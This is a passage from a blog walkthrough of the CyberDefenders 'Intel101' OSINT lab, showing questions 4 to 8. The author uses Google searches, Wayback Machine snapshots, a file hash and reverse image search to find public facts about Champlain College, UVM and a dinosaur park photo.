href=&#34;https://grahamcluley.com/uk-cabinet-zoom-meeting/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Graham Cluley&lt;/em&gt;&lt;/a&gt;. Cluley&amp;rsquo;s article contains the story and a screenshot of the accidental information disclosure very clearly for us!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://grahamcluley.com/uk-cabinet-zoom-meeting/&#34;  title=&#34;https://grahamcluley.com/uk-cabinet-zoom-meeting/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;The UK Cabinet is meeting on Zoom&amp;hellip; here&amp;rsquo;s the meeting ID&lt;/strong&gt;&#xA;_In case you&amp;rsquo;ve lost the Zoom meeting ID for today&amp;rsquo;s UK Cabinet meeting, here it is._grahamcluley.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://grahamcluley.com/uk-cabinet-zoom-meeting/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1369px&#34; data-flex-grow=&#34;570&#34; height=&#34;137&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/cd822dce336d636cb37948b19832b3eb_MD5.png&#34; width=&#34;782&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-percentage-of-full-time-degree-seeking-freshmen-from-the-fall-of-2018-re-enrolled-to-champlain-in-the-fall-of2019&#34;&gt;Question 4: What Percentage of full-time degree-seeking freshmen from the fall of 2018 re-enrolled to Champlain in the fall of 2019?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now it&amp;rsquo;s time to do some deeper investigation!&lt;/p&gt;&#xA;&lt;p&gt;We are looking for the student retention rate from Fall 2018 to Fall 2019 at this University. We&amp;rsquo;ll start out by performing some &lt;em&gt;Google&lt;/em&gt; searches to see if we can discover this information.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1043px&#34; data-flex-grow=&#34;434&#34; height=&#34;184&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/aab7817791b4bf8937e3abd24873d5a2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Google search&lt;/p&gt;&#xA;&lt;p&gt;We find that &lt;em&gt;Champlain College&lt;/em&gt; presents this information as published through the &lt;em&gt;National Center for Educational Statistics:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1066px&#34; data-flex-grow=&#34;444&#34; height=&#34;180&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/fb100bf155838e80b89b007f3c885c8a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Champlain College — Student Outcomes&lt;/p&gt;&#xA;&lt;p&gt;Once we navigate to the page though, we find only the most current data. We&amp;rsquo;ll need to figure out a way to view the historical data for previous years, right?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;293px&#34; data-flex-grow=&#34;122&#34; height=&#34;654&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/9d58c67da2172eb14621e752d96bf3c2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since the data is showing two years behind (this blog was written in 2024). Maybe we can utilize the &lt;a class=&#34;link&#34; href=&#34;https://archive.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Internet Archive&amp;rsquo;s Wayback Machine&lt;/em&gt;&lt;/a&gt; and see if we can view this same page as it existed in 2020?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;283px&#34; data-flex-grow=&#34;117&#34; height=&#34;678&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/90c833d28dd81f8a754e1fff0eb444e8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s go ahead and select the only 2020 snapshot and see what we can find:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;309px&#34; data-flex-grow=&#34;129&#34; height=&#34;620&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/32f93651c387e6f5f675219e9cc00174_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This data gets us close to the answer, but for the challenge, we need a more precise percentage. So, let&amp;rsquo;s rewind and go back to &lt;em&gt;Champlain&amp;rsquo;s Consumer Information and Disclosures&lt;/em&gt; page. What if we try that URL in the &lt;em&gt;Wayback Machine&lt;/em&gt; instead?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.champlain.edu/about-champlain/consumer-information-and-disclosures&#34;  title=&#34;https://www.champlain.edu/about-champlain/consumer-information-and-disclosures&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Consumer Information and Disclosures&lt;/strong&gt;&#xA;_Links to institutional information about Champlain College_www.champlain.edu&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.champlain.edu/about-champlain/consumer-information-and-disclosures&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try that URL and pick a date in 2020. Now, notice that the data was also published by a second website that is no longer present on the current page:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1187px&#34; data-flex-grow=&#34;494&#34; height=&#34;155&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/6ded95948a7050602dd458eb9252368d_MD5.png&#34; width=&#34;767&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we try this link and scroll down to &lt;em&gt;Freshmen Returning for Sophomore Year,&lt;/em&gt; we get an exact percentage!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;289px&#34; data-flex-grow=&#34;120&#34; height=&#34;277&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/b2aa2376abc68f80417ac24935a9bf23_MD5.png&#34; width=&#34;334&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://web.archive.org/web/20200919015651/http://members.ucan-network.org/champlain&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://web.archive.org/web/20200919015651/http://members.ucan-network.org/champlain&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1169px&#34; data-flex-grow=&#34;487&#34; height=&#34;159&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/04cf2ccac7acbf90cc07e6436b339f3c_MD5.png&#34; width=&#34;775&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-in-1998-specifically-on-february-12th-champlain-was-planning-on-adding-an-exciting-new-building-to-its-campus-back-then-it-was-called---&#34;&gt;Question 5: In 1998 specifically on February 12th, Champlain was planning on adding an exciting new building to its campus. Back then, it was called &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;The Information Commons&amp;quot;&#xA;. Can you find a picture of what the inside would look like? Upload the sha256 hash here.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s continue using the &lt;em&gt;Wayback Machine.&lt;/em&gt; We&amp;rsquo;ll search the website domain for &lt;em&gt;Champlain College, champlain.edu,&lt;/em&gt; and select the snapshot from February 12th, 1998.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;457px&#34; data-flex-grow=&#34;190&#34; height=&#34;420&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/a642afdbfa3b44920d713b52bf67acde_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notice the links at the bottom of the page? There&amp;rsquo;s one to the &lt;em&gt;Information Commons Project&lt;/em&gt; mentioned in the question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;442&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/f8d77f395b139c26587e1564f5487684_MD5.png&#34; width=&#34;620&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we click that, we are taken to a page that showcases a rendering of the inside and outside of the building:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;553px&#34; data-flex-grow=&#34;230&#34; height=&#34;347&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/9c9fa7db93bd46a3e50fcc58280978e8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s download the inside view image. We can simply generate a &lt;em&gt;SHA256 file hash to&lt;/em&gt; get the answer. I&amp;rsquo;m using a Linux environment for my analysis but you can do the same process in &lt;em&gt;Powershell&lt;/em&gt; if are you in a &lt;em&gt;Windows&lt;/em&gt; environment by using the &lt;em&gt;Get-FileHash&lt;/em&gt; cmdlet.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;4191px&#34; data-flex-grow=&#34;1746&#34; height=&#34;41&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/35147afeac5b0a7785a3afd7337ffcb4_MD5.png&#34; width=&#34;716&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1015px&#34; data-flex-grow=&#34;423&#34; height=&#34;185&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/b6d2b80817e7d236c23f1274642e6d94_MD5.png&#34; width=&#34;783&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-one-of-champlain-colleges-cyber-security-faculty-got-a-bachelors-degree-in-arts-from-this-ohioan-university-who-was-the-other-faculty-member-who-studied-there-firstname-lastname--twowords&#34;&gt;Question 6: One of Champlain College&amp;rsquo;s Cyber Security Faculty got a bachelor&amp;rsquo;s degree in arts from this Ohioan university. Who was the other faculty member who studied there? (FirstName LastName — two words)&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s get back to &lt;em&gt;Google&lt;/em&gt; searching a bit for this information. If we simply search for the &lt;em&gt;Champlain&lt;/em&gt; university faculty, we can find the full faculty directory, but this is too overwhelming for us to click into each person.&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s refine our search a bit and narrow it down to some specifics:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;214&#34; height=&#34;363&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/189be2ccbc763dc3a8aadf2f3a957f66_MD5.png&#34; width=&#34;777&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can simply go down the line and check the &lt;em&gt;Education&lt;/em&gt; section for each of the staff within the department.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;426px&#34; data-flex-grow=&#34;177&#34; height=&#34;450&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/f2386658319b76403f7795367556a25e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Eventually, we stumble upon this profile which meets the question criteria — Ohioan University and Bachelor of Arts! Now we have a university name that we can use to further refine our &lt;em&gt;Google&lt;/em&gt; search. Maybe we can use the URL of that full faculty site that we found earlier to search the directory?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2653px&#34; data-flex-grow=&#34;1105&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/984475ce7d911e80431280824174aff5_MD5.png&#34; width=&#34;796&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;414px&#34; data-flex-grow=&#34;172&#34; height=&#34;361&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/7c5dd91dcfd3895b0eb86fd40217d4c8_MD5.png&#34; width=&#34;623&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we click the first link and check the Education section, we can confirm that we have found another faculty member who attended the same University — great find!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;994px&#34; data-flex-grow=&#34;414&#34; height=&#34;189&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/de200171a9bb3f692de456481ab33f5b_MD5.png&#34; width=&#34;783&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-in-2019-uvms-ichthyology-class-had-to-name-their-fish-for-class-can-you-find-out-what-the-last-person-on-the-public-roster-named-theirfish&#34;&gt;Question 7: In 2019 UVM&amp;rsquo;s Ichthyology Class Had to Name their fish for class. Can you find out what the last person on the public roster named their fish?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ll start this challenge the same way we did with the previous one, with &lt;em&gt;Google!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Quickly we discover that this search is particularly tricky since the challenge was made three years ago from the time of this blog. It doesn&amp;rsquo;t seem like search engines today have indexed anything helpful other than some quick overview information of the Ichthyology class.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try to narrow the scope a bit by learning a little more about the University and specific school the Ichthyology program is part of:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;585px&#34; data-flex-grow=&#34;243&#34; height=&#34;328&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/2c457bebeacf01799afe710e1b6a8442_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve discovered that the program is part of the &lt;em&gt;Rubenstein School of Environmental and Natural Resources&lt;/em&gt;. That&amp;rsquo;s a start, now we can check out the University&amp;rsquo;s course catalog and hopefully locate the course number of the Ichthyology class to help refine our search:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://catalogue.uvm.edu/undergraduate/&#34;  title=&#34;https://catalogue.uvm.edu/undergraduate/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Undergraduate Catalogue&lt;/strong&gt;&#xA;_Students at the University of Vermont are responsible for knowing and complying with all requirements for their&amp;hellip;_catalogue.uvm.edu&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://catalogue.uvm.edu/undergraduate/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll navigate to: &lt;strong&gt;The Rubenstein School of Environment and Natural Resources &amp;gt; Wildlife and Fisheries Biology Program&lt;/strong&gt; and we&amp;rsquo;ll find the course information in the catalog. Of course, the catalog represents the offerings at the time of this writing (2024) and NOT 2019.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1684px&#34; data-flex-grow=&#34;701&#34; height=&#34;114&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/03e28a1d9a377619ab26561bc21b4547_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s try to get to the same information from back in 2019 and check for any differences. If we check the course catalog site using the &lt;em&gt;Wayback Machine,&lt;/em&gt; we&amp;rsquo;ll find that the course number was different in 2019:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/95e5cb408d00eb2fa5545e1af34e349b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;What does this mean? It means we know that we need to refine our search using the course number, &lt;strong&gt;WFB 232,&lt;/strong&gt; to get closer to the information. Let&amp;rsquo;s check out the home page for the &lt;strong&gt;Rubenstein School of Environment and Natural Resources&lt;/strong&gt; in the &lt;em&gt;Wayback Machine.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1230px&#34; data-flex-grow=&#34;512&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/a1140a9df42b44e93aebc2abcfbb3095_MD5.png&#34; width=&#34;728&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This time, however, instead of viewing a site snapshot, let&amp;rsquo;s use the &lt;strong&gt;URLs&lt;/strong&gt; button and see if we can locate further information about the &lt;strong&gt;WFB 232&lt;/strong&gt; program:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;530px&#34; data-flex-grow=&#34;220&#34; height=&#34;362&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/737edcaab2bd52b7350e51808aba49ee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, now we&amp;rsquo;re getting somewhere. Let&amp;rsquo;s try our luck and see if we can add some additional keywords to the filter and look for &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;names&amp;quot;&#xA;&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1324px&#34; data-flex-grow=&#34;551&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/169f8b149add5d8d1247ee6f5ccd8ecf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! We found the document we are searching for. Since the archive has a snapshot of this file, we can access it and view the information we are looking for!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1680px&#34; data-flex-grow=&#34;700&#34; height=&#34;66&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/a8057af3668802807f86869161706af8_MD5.png&#34; width=&#34;462&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1126px&#34; data-flex-grow=&#34;469&#34; height=&#34;166&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/d300652d10168831c73feb5403c489e7_MD5.png&#34; width=&#34;779&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-can-you-figure-out-which-state-this-picture-has-been-taken-from-see-attachedphoto&#34;&gt;Question 8: Can You Figure Out Which State This Picture Has Been Taken From? See attached photo&#xA;&lt;/h3&gt;&lt;p&gt;Okay, last question! First, we&amp;rsquo;ll open the evidence file and focus on the included image, &lt;em&gt;UNADJUSTEDNONRAW_thumb_4859.jpg.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;360px&#34; data-flex-grow=&#34;150&#34; height=&#34;533&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/e43d211265d2cfc52572b899c4bda276_MD5.jpg&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try using an image or visual search to see if we can locate a match. Typically, it&amp;rsquo;s a good idea to try your search on several different services like &lt;a class=&#34;link&#34; href=&#34;https://www.bing.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Bing&lt;/em&gt;&lt;/a&gt; visual search_,_ &lt;a class=&#34;link&#34; href=&#34;https://lens.google.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Google Lens&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; and &lt;a class=&#34;link&#34; href=&#34;https://yandex.com/images/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Yandex&lt;/em&gt;&lt;/a&gt; to maximize the chances of locating a hit since each service approaches this process differently.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately for me (and probably for you if you are reading this walkthrough) after trying this process with all three services and scrolling through hundreds upon hundreds of &lt;em&gt;Dragon&lt;/em&gt; and &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Pteranodon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Pteranodon&lt;/em&gt;&lt;/a&gt; &lt;em&gt;images,&lt;/em&gt; it seems like there is no clear match&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;I suspect what is happening here is that the image results have changed since the challenge was originally made three years ago, and the result isn&amp;rsquo;t quite as easy to locate as it was then (or no longer exists).&lt;/p&gt;&#xA;&lt;p&gt;Stick with me though as I remain undeterred! We need to narrow this search scope down somehow. Our only lead is that the challenge question mentions &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;State&amp;quot;&#xA;I am making the assumption that this means the &lt;em&gt;United States&lt;/em&gt; since the rest of the challenges have referred to &lt;em&gt;American&lt;/em&gt; entities.&lt;/p&gt;&#xA;&lt;p&gt;So, I will do what any normal analyst would do — search for &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;List of dinosaur parks&amp;quot;&#xA;on &lt;a class=&#34;link&#34; href=&#34;https://www.wikipedia.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt; and scroll to the &lt;em&gt;United States&lt;/em&gt; section.&lt;/p&gt;&#xA;&lt;p&gt;That is a lot of parks&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;379px&#34; data-flex-grow=&#34;158&#34; height=&#34;506&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/47c5934ac07e0162f27d674f295474b2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/List_of_dinosaur_parks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/List_of_dinosaur_parks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now for some hindsight: Did I absolutely go through _Google&amp;rsquo;s s_treet view of each one of these parks in the vain hope of finding this &lt;em&gt;Pterodactyl&lt;/em&gt; to complete this write-up? Yes, I did.&lt;/p&gt;&#xA;&lt;p&gt;In my search, I eventually and mercifully stumbled upon this image:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;727px&#34; data-flex-grow=&#34;303&#34; height=&#34;264&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/101dbb233d30217cb9a0869b6a7d0f86_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image credit: Google Maps&lt;/p&gt;&#xA;&lt;p&gt;Red building — check. Weird rocks — also check. Potential Pterodactyl sighting — Maybe?&lt;/p&gt;&#xA;&lt;p&gt;So, I decided to go through every single one of the &lt;em&gt;Google&lt;/em&gt; photos for this location using the handy &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Dinosaur&amp;quot;&#xA;tag 